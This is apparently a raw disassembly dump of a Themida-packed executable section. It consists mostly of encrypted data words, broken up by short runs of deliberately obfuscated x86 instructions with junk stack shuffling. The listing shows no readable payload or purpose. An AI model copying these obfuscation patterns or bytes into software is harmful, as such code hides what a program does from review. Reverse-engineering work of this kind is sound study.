0D148FA07h, 16B3Dh, 7607EC00h, 0F6876B16h dd 7805EB96h, 0FC816D18h, 720B018Ch, 0CB259312h, 493494E9h dd 0E0AB1D60h, 493494E9h, 0F5AD1F5Eh, 355FFEF8h, 483DA724h dd 0D9A486FAh, 5C210CF7h, 6CC4DE6Ch, 0A300E1Dh, 0CAB353E2h dd 791C069Fh, 6FA729DBh, 0B2F773FFh, 466BECF7h, 0A7h, 0DE9F8678h dd 0DBDBC8C7h, 0AD3EDEBEh, 196447DEh, 997B1A60h, 0C0790400h dd 0E381BDA9h, 0E4CBAD3Eh, 614C3799h, 8A26851Ch, 2721AC3Bh dd 0EBA64F56h, 44ED7409h, 0F101FDEEh, 0A5B353DCh, 9A71474h dd 0A6512DBAh, 0F2AD4180h, 0BBBBA847h, 0AD3C3D9Eh, 6234BFEh dd 0E8E89577h, 0D246371Dh, 0FA07585Eh, 0AD2FD34Eh, 0AA000000h dd 29D4B4C9h, 0C14C3C41h, 2BD6B6C7h, 0BF4A3A43h, 61E0B0CDh dd 0E29B916Bh, 4B3217E2h, 0E29B8E79h, 4D3017E2h, 0C8A6A37Bh dd 0A7243489h, 86249A0Bh, 0AAF7D9A4h, 1E47361Bh, 9994BF77h dd 8656E4E4h, 0C251DE9Fh, 800C1A9Bh, 223DF5FCh, 0DF9A087h dd 7AC7C970h, 0D3806FBEh, 649BFC06h, 0E6032B3Dh, 595E1408h dd 0C0E990B3h, 41433A35h, 0B7AECFB6h, 4C7884CBh, 69F97319h dd 0A5275651h, 0BA56CB78h, 8028DDBh, 9118654Dh, 0C0392E8h dd 715DF871h, 4DDE950Ch, 0B1B8C5C0h, 0B0443208h, 0D0AD98h dd 3A631A15h, 3A8h, 66B40A00h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h dd 2F364740h, 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh dd 0E881FCF4h, 0E1895104h, 4C181h, 0BF570000h, 4, 875FF929h db 0Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp push edx mov edx, 1FB4603h and edx, 55295974h add edx, 4F16029h mov eax, edx mov edx, [esp] add esp, 4 push 33FDh mov [esp], esp add dword ptr [esp], 4 pop ebp push 12FBh mov [esp], eax pop dword ptr [ebp+8] mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58E30C ; --------------------------------------------------------------------------- db 0E6h dd 80124FBEh, 17CC5CB7h, 0B8CD1107h, 61AAAF6h, 0E0FFC503h dd 457A22F7h, 56ECF749h, 1C720F7Bh, 74F5A66Ch, 373C738Eh dd 356A2407h, 237040AEh, 1CB237B4h, 2F1C9247h, 168863CDh dd 2B53EBEh, 31E9h, 33E07A00h, 0Ch, 0C51C5700h, 6148434Ah dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h dd 0F4C7009Dh, 6063921Dh, 0DE19h, 11E90000h, 6800000Bh dd 61AAD16h, 0FAD239E9h, 0AE3468FFh, 2FE9061Ah, 68FFFAD2h dd 61AAF62h, 0FAD225E9h, 0B00A68FFh, 1BE9061Ah, 68FFFAD2h dd 61AB0F5h, 0FAD211E9h, 0B1E568FFh, 7E9061Ah, 68FFFAD2h dd 61AB289h, 0FAD1FDE9h, 0B47D68FFh, 0F3E9061Ah, 68FFFAD1h dd 61AB57Eh, 0FAD1E9E9h, 0C0308EFFh, 0B7BFE35h, 0C838B56Ah dd 272F62Dh, 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h dd 49D6BF2Fh, 289B7AEAh, 5E7A9F26h, 8001169Ch, 0DB0BABBCh dd 9E1E4003h, 0B2DF16A1h, 57D6DD4Dh, 0BDF6C8E7h, 2327CE3Eh dd 5E478A39h, 1526169Ch, 3F2B9B1Eh, 4E0971D2h, 0CD0DDD1Ch dd 8AA7B798h, 65CFBB2Bh, 0EBF323D3h, 0BB4C1358h, 0B5899A10h dd 97FF7Ch, 0F13B9F41h, 0A41471A2h, 0E3B29D72h, 1A225E77h dd 9B7304C3h, 51C142EFh, 0F323D365h, 12C6EAEBh, 44B3ADE7h dd 0E93590A6h, 8C1AA992h, 5273E2BBh, 4E68ABA0h, 957E6h dd 4CBC3A00h, 87F77AA9h, 54C441EEh, 9E0E72C1h, 5ACA28F7h dd 0F4AFDCBBh, 0C06F0676h, 0F926CF3Fh, 0B56A0B7Bh, 0A42FC636h dd 5FC60BBAh, 0E4A5169Ch, 57C72458h, 81F1525Fh, 0C2F2C6F4h dd 73D1E2FCh, 1D3A1303h, 86ED9C7Eh, 4E6D1D4Bh, 169BAF1Ah dd 0AC335481h, 397498D2h, 640676FAh, 0D0336334h, 1693BB8Dh dd 3910BF7Ah, 9DBD66B4h, 333Ch, 0C3417200h, 41726353h dd 0DF4C6858h, 0A0947659h, 3DB0BABh, 9BF5F040h, 7ABC8D16h dd 93F1D2FBh, 0C9F49B16h, 0BD1CFD80h, 0CD839Dh, 78B90000h dd 3BDF8BFBh, 8757C724h, 0F2ABEE55h, 41521086h, 0F4766BA9h dd 22A19284h, 0C6F84B2h, 8CBCF99Ch, 0C41086F6h, 111EF767h dd 627C42B2h, 0C67FEF51h, 1086F683h, 83B1596Ah, 4D1141F5h dd 9C01D276h, 2A999B16h, 1693E5E7h, 0FF7EB586h, 0E5D5A08Fh dd 0D4DDE111h, 0DEAFE757h, 8E252D5h, 8BAC8F36h, 0FACB108Bh dd 0FB6BCFE4h, 7F03301Ah, 5436070Fh, 1AE353D7h, 0B1BE31A5h dd 39B83C3Ah, 58000008h, 98876EDEh, 57CCA919h, 0A08F66D6h dd 4EE5B020h, 2997CECh, 24941689h, 0ED5DE251h, 29991B08h dd 0E454D74Ch, 2D98C611h, 169C5CE4h, 4F360687h, 296DDD62h dd 0F575B654h, 0C043F085h, 44F2A958h, 5E71C934h, 5ECE3380h dd 0AB5BE1ACh, 0D903DB0Bh, 86F2276Ah, 15F5C610h, 0CC381D3Fh dd 92AA61FEh, 3602A149h, 47169BEEh, 0ED9BBE85h, 51621693h dd 5D56387Eh, 63296DDDh, 93EDB9E0h, 5C734416h, 0EDCE0FAEh dd 0B71693h, 38F17CCDh, 0D6779DBDh, 93000000h, 5F57C724h dd 964F052h, 8FA09D99h, 0F6FC2C87h, 77F41086h, 0EBEC6E07h dd 117A9B0h, 41F29837h, 7A6452C2h, 4CB8E164h, 0C4DA1086h dd 0DC02E57Dh, 74162799h, 744A7A3Eh, 88D1746Ah, 73108613h dd 35DDC8A2h, 0B8169CE4h, 0D005D7E7h, 0CB106AEDh, 96BB6A7Dh dd 0EC1693B1h, 0EA7FE42Eh, 3E0FB140h, 0AE7CA520h, 2EFF1693h dd 0B589313Ch, 0B2A3B985h, 99B7B616h, 6B5A30E1h, 108B24AFh dd 50617D4Eh, 0CB808AF2h, 9B040829h, 0F052E1B4h, 4B7EFD80h dd 4F65B1BDh, 70BF3h, 0B8288600h, 73E346DDh, 0C0308DA2h dd 0A7AFE35h, 0C636B46Bh, 8033782Fh, 2C039202h, 65BA5BCBh dd 31FE9707h, 409362D2h, 5D62A71Eh, 8809169Ch, 3AC624B4h dd 8B6A45B5h, 0CEA71794h, 57C7246Ah, 65587D5Fh, 288888B3h dd 3FBC6D1Dh, 262267DEh, 0F8C91086h, 6D3E7EDFh, 0E8C7DAFCh dd 1465A80Dh, 3E021086h, 5D95300Eh, 2016A178h, 81022F0Fh dd 4CAF8411h, 0B050DADCh, 93A0BE80h, 70D3C030h, 873B6A00h dd 46108067h, 0CF76D759h, 1CB6678Ah, 878FA071h, 0A8A9A1B6h dd 432EAA54h, 0DD0C916Ch, 0D9DBB1BAh, 66359h, 60D02E00h dd 0AB1B9E95h, 68D855CAh, 0A212968Dh, 6EDE5CD3h, 289B1087h dd 64BB5ACAh, 2D029303h, 69B65FCFh, 0C8FB9A0Ah, 421A3F06h dd 20E1169Ch, 57C7241Ch, 0B8347D5Fh, 0C5804E48h, 1086F29Ch dd 89614E5Fh, 7BBB2B88h, 0A3930366h, 77BF2F8Eh, 0CE248BFEh dd 86F2D2F7h, 0A7889910h, 0E3E4CBC2h, 9025F060h, 97A81A2Dh dd 0ED348FCDh, 901086FEh, 76FCBBFh, 4B000000h, 19CB5h dd 97B6D100h, 501086F2h, 0ED348FB0h, 901086F2h, 0F2D2F7CEh dd 88991086h, 0FB688A7h, 16A19EE0h, 0A6B88697h, 7ABC2C8Dh dd 0B59A0A69h, 0DAA353A2h, 97736572h, 95A9199Ah, 6BD1E9Ch dd 169C6AC3h, 0D4B699AAh, 99096AB9h, 334D90C5h, 31BF94F0h dd 0A94DDB59h, 3A776579h, 724B4BBBh, 77752D98h, 27F81081h dd 0BB6DBF56h, 9A1A1CB1h db 78h, 5 word_5D4B22 dw 0 ; DATA XREF: Themida_:0057C15Co dd 482D9D19h, 0FE656DBh, 6035A520h, 18FD6DD3h, 5E37A70Bh dd 0EB4F4249h, 22859A7Bh, 0F04CE3B2h, 0BD3EF580h, 2F1FA84Dh dd 9C424D94h, 0CD6F3016h, 8757C724h, 0F2ABEE55h, 41521086h dd 0F5766BA9h, 0BFF69185h, 0A834B710h, 375AE94Ah, 0B61086F2h dd 0F3CCCAE5h, 0F23158EBh, 0EBBC1086h, 42D31C4h, 565535A5h dd 97A819D3h, 759h, 0BAB52D00h, 0D1000000h, 6FDF624Fh dd 5E58C824h, 6F0F8961h, 7AA41F3Fh, 0FB16A19Eh, 9A1F142Ah dd 0B5FE402Ah, 2FC636h, 0A4B1383h, 36489E1h, 8DAAA393h dd 1BCF9D34h, 87B787F1h, 34E70CB7h, 0B58610BBh, 0BB2B88A9h dd 0C70AB9A3h, 0A61CB3A4h, 8996F595h, 8FA4BA2Ah, 62CCBE2Eh dd 0E6F828D8h, 6CB3DFF8h, 0B80A0832h, 0B341C40Dh, 0B996A71Ch dd 0B0AAF2D1h, 7A4B1AA9h, 0A03086A3h, 57DBD9ABh, 488h dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh dd 9C43DD04h, 5DDFA016h, 73E3624Fh, 4A04A43h, 114h, 0DB0BAB18h dd 9E1E4003h, 0CEDF16A1h, 0D040C3F0h, 1D8DEE45h, 0BFEF8F19h dd 32DF249Fh, 315E10BBh, 734B64D4h, 4D49B93Eh, 9AC49A70h dd 9C0C6FC4h, 0D900A59Ah, 0A41CB3AAh, 0B222A093h, 68D85BD8h dd 1570C18Dh, 0E744C5A5h, 0E639C77Fh, 113E47A7h, 0B3E39325h dd 4FF418ABh, 0A8791AA9h, 0A097AED5h, 43BFB5ABh, 3E4h dd 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h, 0AEB5BDFh dd 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h, 0FBE3F481h dd 9C400148h, 112BEC16h, 5F57C724h, 9581F152h, 0ED5360F2h dd 0BFE2617Dh, 3E1086F2h, 0AB127D6Dh, 0F53E9F1Ch, 3E0F0777h dd 86F24287h, 37182910h, 19E6535Eh, 496E97A8h, 4A000000h dd 3DB0BABh, 9C41FF40h, 91AD7E16h, 0A9B525A0h, 0BDC910B3h dd 0EBB41693h, 84BDAAEEh, 5A301F40h, 9E56763Bh, 7CB51693h dd 0A01072FEh, 0CD2EDB8Fh, 0A6BB85Dh, 96FC49Ah, 73A09D99h dd 0A4999D0Dh, 39EC48C6h, 0C0000003h, 5E58C824h, 48256770h dd 54CDD1C4h, 84299384h, 5A301FE8h, 0D4EA5AD9h, 0FEEC5CDFh dd 0D343C06Fh, 56DCEE3h, 23BD6DFEh, 0C0557A33h, 0DC05C09Eh dd 9F1086FCh, 2B6DC8Eh, 0CD20CD2h, 86FC1039h, 20CADB10h dd 9BF54D85h, 0A1231016h, 9D181E31h, 1693E570h, 0A3930366h dd 78BE2E8Eh, 51A10C7Dh, 93E5AFF2h, 527D4E16h, 0BB8E41F8h dd 9DBD352Eh, 2CB6h, 0BABD200h, 7A8D73E3h, 0D9F619AFh dd 0DE4EAC05h, 9F9B2A2Ch, 9E169BD6h, 0E32A898Dh, 8C1693D4h dd 2A8FBA25h, 0B29DBD40h, 0F2h, 5FC72486h, 7AF330F4h, 40765984h dd 68D9795Eh, 28E88DD4h, 171D142h, 2F9F1C15h, 1179FAE7h dd 73D95932h, 0EE657217h, 70C50D1Eh, 0A4A64F60h, 0B01E09B3h dd 0CABF031Eh, 6E865160h, 62664F0Ch, 452A985h, 24643F2Bh dd 2C108698h, 69B65FCFh, 0E9C9A0Ah, 2E9E1E6Ah, 0A41F3D01h dd 1086807Dh, 42873E00h, 29108680h, 1533718h, 9B86FA42h dd 2B8E7B16h, 91827BBBh, 6EFC030h, 0AEB0E0A0h, 8BE9F317h dd 0DB87A10h, 1CABEDC4h, 0A5B996A7h, 88F87AB7h, 61D131E2h dd 0AB1B9F94h, 0BDD5A9D2h, 3CB8BEB1h, 1F0h, 0E0B525A1h dd 977EEE53h, 0D8BD2D88h, 0A075E54Bh, 0D6BF2F93h, 53D7CAC1h dd 9A1D12E3h, 58D44B2Ah, 95160DE8h, 57875025h, 9C46A5ECh dd 75C74816h, 0BF56C624h, 0A616969Bh, 570AB491h, 0B95163BAh dd 86FFB78h, 8EA19E98h, 0BAB41E7h, 765577E3h, 321D5584h dd 9299992Ch, 93A4169Bh, 98FD20A3h, 0B48A1693h, 98F61BAAh dd 0A4751693h, 0F199096Fh, 0C73217C6h, 4D9DBD83h, 0CDh dd 57C72469h, 80F0525Fh, 85F575BEh, 23A2BC91h, 1086F2FEh dd 50BEAC7Dh, 86F6B5F5h, 0C838BB10h, 0E975F62Dh, 2341B8Bh dd 0C698C878h, 9BF03FFFh, 516D3E16h, 4670E060h, 7BEB4A49h dd 0CDA8423Bh, 0D5E919DDh, 8B9EC56Eh, 794C1210h, 1CAA5C50h dd 91340A1Bh, 1CAA5C48h, 18886233h, 0C253707h, 68A941B1h dd 4FFB9A0Ah, 4670E062h, 1270A149h, 5CCF12B1h, 9DAE1CAAh dd 46ACEBB2h, 0C5AFB1BEh, 0EF3Dh, 0B424A200h, 7FEF52E1h dd 0BC2C8996h, 76E64AD9h, 0C232909Fh, 7C377433h, 38E78EFEh dd 81AE47B7h, 2D029303h, 0CB75ECEh, 475E8342h, 5C1D169Ch dd 3AC624E0h, 734C4ABAh, 0E95C825Ch, 1086F2A0h, 5907A4Bh dd 0B85DCD2Eh, 57C72474h, 81F1525Fh, 84F474BDh, 5F1F87E6h dd 0E44D0F2Fh, 2F201686h, 751585E4h, 0A19E3946h, 0CFEFC016h dd 0DC0DDD06h, 0D4B6772Fh, 7AEA495Ah, 0B727849Bh, 0CFD047Fh dd 9701CAAh, 3192F1D6h, 0C56C4F92h, 992C2E00h, 0C56C70h dd 2A052AFBh, 0CB57D44Bh, 0C3BCFA6Ah, 37B9AAECh, 35BAF7C7h dd 0FAE725C5h, 170C0A7Ah, 93F42292h, 0B010B726h, 56795640h dd 0DB17C66Fh, 0E387CDFAh, 0C5303960h, 0E4F3C400h, 0C0AAD133h dd 0BE80F053h, 4E1BDF99h, 9E4C95B5h, 7BE360CFh, 0BEB457F5h dd 0FE3817BCh, 376h, 4B2F9200h, 5C5ACA24h, 4274E447h, 3363D331h dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h dd 3C7AEA4Fh, 4EC8178h, 89000000h, 0BD552424h, 4, 4246C01h dd 0E389535Dh, 4C381h, 0EB810000h, 4, 5C241C87h, 50240C89h dd 405E089h, 2D000000h, 4, 5C240487h, 68243489h, 61AAC6Ah dd 81240C8Bh, 4C4h, 348B5400h, 4C48324h, 6685352h, 5B2A1842h dd 0BE02C381h, 0DA89D5E7h, 89F2015Bh, 348B5A0Ah, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch, 4C48159h dd 0E9000000h, 0FFFAC736h, 7B77AD4Ah, 1AB692B8h, 0FFC50306h dd 8AF4CE0h, 8D22BF60h, 0E4D2C429h, 4D6A6F70h, 382B0D28h dd 0E4CC8C2Dh, 15F2AF32h, 0C85BBD25h, 9D401029h, 0B4D6BF25h dd 176E7811h, 8878D909h, 6F0A2E10h, 9F24270Ah, 0B90D436Bh dd 6CBB9978h, 8B5A3E56h, 56FAC97Eh, 82699D6Fh, 0ADD2D0Fh dd 656ECE48h, 50CD2E29h, 578D8E6Bh, 0D132117Eh, 4DBA7612h dd 233FE40Eh, 715D3864h, 8E4CAD45h, 328DAD36h, 5E82Fh dd 0C8E00000h, 6675DA91h, 4300C981h, 0D981665Ah, 0C28183E8h dd 7456h, 13E8h, 0F9882900h, 0C6273B62h, 87C613A3h, 10CB5C84h dd 45245BBDh, 3359E1B3h, 0C8D0FF6h, 0F000000h, 689h, 8C0F00h dd 0FF000000h, 0B9661634h, 815F9F20h, 37E0BFEFh, 0F1816607h dd 0EF81DEEDh, 23D04C5Ah, 0C1B70F53h, 24F7815Bh, 0E9386D23h dd 0Dh, 0E9FD14Ch, 2673F002h, 622A70E5h, 323C894Eh, 9EAEBB66h dd 0BE9h, 0FFA73300h, 409266E1h, 0E3F93BCCh, 64ACEE81h dd 0C6811E86h, 1E8664A8h, 0FE81CA8Bh, 0FFFF8C54h, 0FF99850Fh dd 0C68BFFFFh, 0CE8h, 256F0C00h, 7111E325h, 0F10CA10Ch dd 19830F93h, 0E8000000h, 12h, 0D126D72Fh, 75D90191h, 0EEAD8B2Eh dd 0CC26D8F9h, 5AF84CA1h, 81F78B5Bh, 5B8BC3h, 98B9F500h dd 0F9000016h, 8B0F33FFh, 2, 8158F38Bh, 1D4895DEh, 3FC08140h dd 0E93A8EFAh, 0Bh, 48B614C5h, 31CC96C4h, 81FCB219h, 4428BEE8h dd 66BF6641h, 66C0811Eh, 0E842B9D5h, 11h, 0FC6515CDh, 0D328A058h dd 4F2E7163h, 98C6702h, 3840FD9h, 0F000000h, 505AFAB7h dd 13E9h, 663CC500h, 0E55A3607h dd 9500E97Ch, 747E228Bh, 14A014FFh, 0F98B038Fh, 30BEB81h dd 6FBA354Bh, 8132E1E3h, 4B0307C3h, 0CE935h, 4AB20000h dd 43A1CD50h, 42AB9233h, 0E981B512h, 1, 39850Fh, 12E80000h dd 24000000h, 4C5C3757h, 85EE2C5h, 52CBD6C5h, 0CA55E1ECh dd 0AE917h, 695D0000h, 0DE1E1915h, 9A3DD322h, 26E95Ah dd 956C0000h, 0E81E5BDFh, 0B676A3FBh, 0E9AD938Ah, 0FFFFFF20h dd 8AC2A5C0h, 4655B5E7h, 0E33EF3B2h, 5412BB20h, 4E656FCCh dd 16DE9h, 0B59100h, 0EA688029h, 164CAC87h, 0CB58AF4Fh dd 0C0563408h, 0C3567F51h, 0C8585008h, 0E3717E51h, 0B1247E38h dd 4A707451h, 4EC452D3h, 0F6B6839Fh, 87157C50h, 12851h dd 0 dd 400h, 2 dup(0) dd 3300h, 0 dd 800h, 0 dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 40h dup(0) dd 65E90000h, 68000016h, 61ABCB5h, 0FB8DD7E9h, 0BDBF68FFh dd 0CDE9061Ah, 68FFFB8Dh, 61ABE9Ch, 0FB8DC3E9h, 0BF5D68FFh dd 0B9E9061Ah, 68FFFB8Dh, 61AC0DBh, 0FB8DAFE9h, 0C29C68FFh dd 0A5E9061Ah, 68FFFB8Dh, 61AC36Ch, 0FB8D9BE9h, 0C42268FFh dd 91E9061Ah, 68FFFB8Dh, 61AC601h, 0FB8D87E9h, 0C70868FFh dd 7DE9061Ah, 68FFFB8Dh, 61AC7CDh, 0FB8D73E9h, 0C86068FFh dd 69E9061Ah, 68FFFB8Dh, 61ACA3Ch, 0FB8D5FE9h, 0CF0D68FFh dd 55E9061Ah, 68FFFB8Dh, 61ACFEEh, 0FB8D4BE9h, 4A3318FFh dd 0E29B8F7Ah, 4C3117E2h, 0E895917Ch, 46371DE8h, 17F1E746h dd 0BD484835h, 5C27A9D4h, 0FD880875h, 81196B12h, 23EBAA84h dd 0BCA9A724h, 0AF992446h, 581ED7CEh, 322B523Dh, 0FDE9B097h dd 10629F9Ah, 28514A14h, 0D3BDD881h, 0B40183AAh, 403EADFCh dd 0B352F502h, 845E0732h, 0A728E3D1h, 910B9717h, 0F9476002h dd 0ADDD6A13h, 472D6842h, 98F10036h, 36BEC13h, 116C65F0h dd 28F36835h, 2D0534A7h, 2A19h, 6CC4AB00h, 8A7F0E1Dh, 0D0AE3BF3h dd 0B353E22Ah, 0A9A6BF6Ah, 0EF47361Ch, 29DB4415h, 9A0AA4A7h dd 0ECF7891Eh, 0B56D6Bh, 865F0000h, 2AC7DE9Fh, 0A12C3548h dd 0B504F1A6h, 0BDCAB39Bh, 0AC85C412h, 0A2D18B5h, 3DF66D2Ch dd 33FA2FADh, 0FC015751h, 5C53AD3Dh, 0E9E4AF21h, 2BE0D94h dd 0CDA4D9CFh, 6B2605Eh, 37E2B353h, 0AA5B4855h, 0C49B5C8h dd 88A728E0h, 803899E1h, 2013C231h, 0E58D445Dh, 8AC56A44h dd 36E3AD40h, 57260CB9h, 0D5A88A75h, 787C47Fh, 0B74BC6FAh dd 1414h, 0A1235A3Bh, 398BF2D6h, 0A325584Eh, 3F91ECD8h dd 0AD1F5E54h, 8C7E980Eh, 0FBF49FF1h, 94770282h, 311CE7E9h dd 0A7A47C4Ch, 24228AC7h, 239B0AA7h, 0F7D9A486h, 0A0BDB9AAh dd 0FCAD3EDEh, 7F66254Dh, 0C4408EFEh, 300E1D6Ch, 0B353E20Ah dd 7904E796h, 0D9D164C1h, 1D54FDA4h, 0DBF79A84h, 2F1A729h dd 551D6053h, 3A4FCB57h, 0BE6BECF8h, 0E5h, 0DE9F8610h dd 0B2CBC451h, 614702ABh, 0A6CC851Ch, 17C6EFBh, 0E3A67E68h dd 3530AD3Eh, 0D2BD4848h, 98913CABh, 15128DE5h, 0C16D3066h dd 6AFB6C7h, 678AA049h, 0AA63FA83h, 62DEAB83h, 0FC1A1413h dd 64B3539Eh, 0ECA8EFD9h, 667703EFh, 96CFA7CEh, 9B4E1E3h dd 8F465F1Eh, 0B94EEAE7h, 29AAA0BDh, 0AFEEC8A7h, 0EDA729AAh dd 0FF36E33Ch, 51D016F0h, 9DCCAD41h, 2A0DFF8Eh, 3C4C0D4Ch dd 93DA8FADh, 0F7F7E431h, 0AD3C4B5Ah, 2C670F3Ah, 74E13746h dd 56FA0741h, 130A079Bh, 50450000h, 0B8B05B2Dh, 4E38C3C5h dd 0BAB25D2Fh, 5436C1C3h, 9208A729h, 99EB9278h, 484F9EEh dd 99EB9279h, 686F7EEh, 0F8A5A18Eh, 0A4A72421h, 992461B1h dd 0E7A6CCB1h, 6D187805h, 4A331782h, 0C974A123h, 0ADD0BCDDh dd 0FE34DD84h, 0DE9F868Ch, 0DBDBC8C7h, 0AD3EDEBEh, 48032BDEh dd 0E5B0205Dh, 7E0B92EBh, 8996F687h, 0DEFD9C9Ah, 97CBAD3Eh dd 35191883h, 0B87EAB74h, 0B9440599h, 0FFB6AFCEh, 8FDE5A37h dd 0C0293A0h, 1441F871h, 300E6419h, 0B353C422h, 0D3C0C772h dd 0B1B7E6E0h, 34E5A729h, 0E24E00FEh, 16B29EB3h, 644E28C7h dd 8CC1B4E4h, 0EC750801h, 0FCD6335Fh, 7AB32E5Eh, 0A7BE6BB4h dd 92A1F048h, 0CC739DB4h, 1D0A3FBBh, 88087570h, 0A56B12FDh dd 0B977EB2h, 2DFD9108h, 22000012h, 917C4C31h, 19E4E499h dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h, 0E39A8F7Ah dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7242111h, 86BC1283h dd 6617FA9Fh, 7F39960Fh, 9118654Ch, 91A291E8h, 0E8177702h dd 185E21F3h, 5334602Eh, 0FBCD7CB3h, 0CB681510h, 4C45543Ah dd 0B8813831h, 3088E782h, 526152E1h, 290A2574h, 0D4A9A5A7h dd 0AE98DE8Bh, 0AD43C399h, 78052257h, 5203F08Dh, 7559215Ch dd 0C3DAA38Ah, 2E4F39C4h, 2A502D23h, 33C00FA9h, 80C29340h dd 18E97DD7h, 0FE3FE462h, 0AC5DB349h, 0E6978E3Fh, 49341BE6h dd 2675D320h, 0CC6D2D09h, 29AD3Eh, 5E01B1Ch, 72148DFAh dd 116Ch, 398BF2E3h, 0A1235A4Eh, 3B8DF0D6h, 0A7295450h dd 587F6DCh, 0F4D630A6h, 937C0789h, 0FCEF9AEAh, 89840F81h dd 0FFC94F4h, 241F622Fh, 0CB4332A7h, 0F7D9A486h, 909FEE4Ah dd 53F6B0B6h, 0AE3DECB3h, 59502D1Fh, 42CFDAA0h, 0A752324Bh dd 47A4BDC0h, 0B18D9AE9h, 0AD3ECC69h, 0C9A5B62Dh, 0AD3ECB8Ch dd 0B8E56108h, 0E4AD3ECBh, 0AE65FC35h, 0E994903Dh, 536119C0h dd 9DE0C7DFh, 730AFF8Eh, 106D5FEAh, 0E199E099h, 99E860EDh dd 0E3C69C9Ah, 33E6B353h, 9A903D2Ah, 5008BE3h, 6E64F178h dd 2E37462Bh, 1AB7AE87h, 3D1E4736h, 0FDF529B9h, 0FA89036Fh dd 18998816h, 0CEBB732Dh, 2A042372h, 0AD3E1934h, 3CC7C970h dd 49352C51h, 0AD3E2508h, 4A62D264h, 7DAA1A63h, 4C1906Eh dd 901AD3Eh, 0DB44ED74h, 4D30232Eh, 0FE7F6625h, 7B7B6867h dd 0AD3E04DEh, 0E6E38BBEh, 12ECFB4Ah, 0B3533144h, 790A2950h dd 0CCB60C31h, 1D71C961h, 6C2DD6Eh, 618B38B7h, 8FE026B3h dd 0B28C9DD5h, 0AD443F95h, 0F18C7E0Fh, 0B09DFF62h, 2258385Dh dd 7CAF1445h, 75C28F6Fh, 0A7D2AD2Fh, 0EF8B58E8h, 0BB73DF04h dd 0BAE39A90h, 2F4FADE0h, 0A6F553ADh, 982AD89h, 0F9EAB34Ah dd 8E17664Ch, 0A93E5BE7h, 0AB5EA729h, 806F9A83h, 79EDFD5h dd 7A0B284Eh, 0EF9AEA93h, 51DC85F8h, 3F2E225Bh, 6DFC10E4h dd 0FEE12B4h, 6C610000h, 0DCD4BF11h, 6A642FA1h, 0DEC6B113h dd 70622D9Fh, 8EFCBB0Dh, 8DFF7E74h, 20700D02h, 8DFF7E75h dd 12720B02h, 0E4B18D7Ah, 0B0A7241Eh, 37244DC5h, 3EDF1A37h dd 0A7CF7AADh, 553106ECh, 0AD3EDF08h, 0B8B1CCC2h, 3AF32601h dd 91C0BEADh, 3AD3EDEh, 0E5B02056h, 7F0A93EAh, 47F6F588h dd 2C513762h, 0ACB57C35h, 97322D05h, 14A1C8B5h, 96465F1Eh dd 0B34478ECh, 0B097AF43h, 0B8AF5ECDh, 529DDDDFh, 9BD2871Bh dd 0A3234B02h, 1953374h, 79756672h, 0AD3E74DCh, 259BABB8h dd 622E6F2Ch, 0B923630Bh, 95000001h, 0C7DE9F86h, 0AD3A432Ah dd 4C02631Eh, 78BEDD43h, 1E180B18h, 0AD3E507Fh, 4F18654Bh dd 0B977541Ah, 0C5817D6Ah, 0F1B35359h, 14452148h, 0AEA72959h dd 0DA8C1BCh, 6C4F5627h, 91265ACAh, 78118D25h, 236BEC70h dd 35FD8072h, 6A11h, 6CC4A300h, 362F4E39h, 6EC7B69Bh, 0B84E28C7h dd 0C0B353E2h, 0EF949A13h, 2C02A793h, 570600F3h, 73A72998h dd 0E25FE7Fh, 5E9E8611h, 37FE3789h, 10270DB8h, 29646736h dd 2D0435A7h, 0AAB57D34h, 29647DD0h, 57CB6BA7h, 0C972EDDh dd 81AFEEC8h, 3CEDA729h, 0F37580Fh, 96BFC867h, 0B3376BECh dd 0EA000000h, 5C05785Bh, 860B7DB5h, 2AC7DE9Fh, 5B63548h dd 892D0060h, 2B36FC3Dh, 0CFD6A79Eh, 52324B42h, 3EB60058h dd 225B52ADh, 4C9B15A2h, 0DFDFCCDFh, 0AD3EB4B2h, 5FF37E2h dd 0B3565C5Fh, 12210E3Bh, 51E2DC81h, 56B09B35h, 0A7279307h dd 0F1A09E95h, 0A3A72792h, 7A77BF76h, 3494E9CBh, 361A6349h dd 0FC129E21h, 2D0C9E5Bh, 2200000Eh, 917C4C31h, 19E4E499h dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h, 0E39A8F7Ah dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7241D11h, 86BC1283h dd 0CF7D9A4h, 0EF8E7821h, 7976BF76h, 67A1A0CAh, 8BE35C74h dd 99248D3Bh, 7B02E7B2h, 5B022BE2h, 0D6D17CB2h, 8211FEA7h dd 0D93759A0h, 0D776BC1Fh, 503B8DF0h, 32812855h, 1BA84796h dd 0CE5BCC4h, 42AF8760h, 0D0ADA431h, 0EC5A20D9h, 0B353D9C2h dd 0DB837E2h, 0A9505924h, 0B47A03ECh, 79C22D4h, 62F10000h dd 87BC3EEBh, 5634FA7Ch, 0D0D9A486h, 3EDEA3F6h, 94E35DADh dd 98949797h, 930B359h, 9745BEAh, 6C11FC87h, 5F47F6F5h dd 0A8CE871Eh, 0A27607EDh, 0FC1F6B67h, 5D9A2CE5h, 0F200000Dh dd 810C7C01h, 0E994F489h, 830E7EFFh, 0E792F28Bh, 99187805h dd 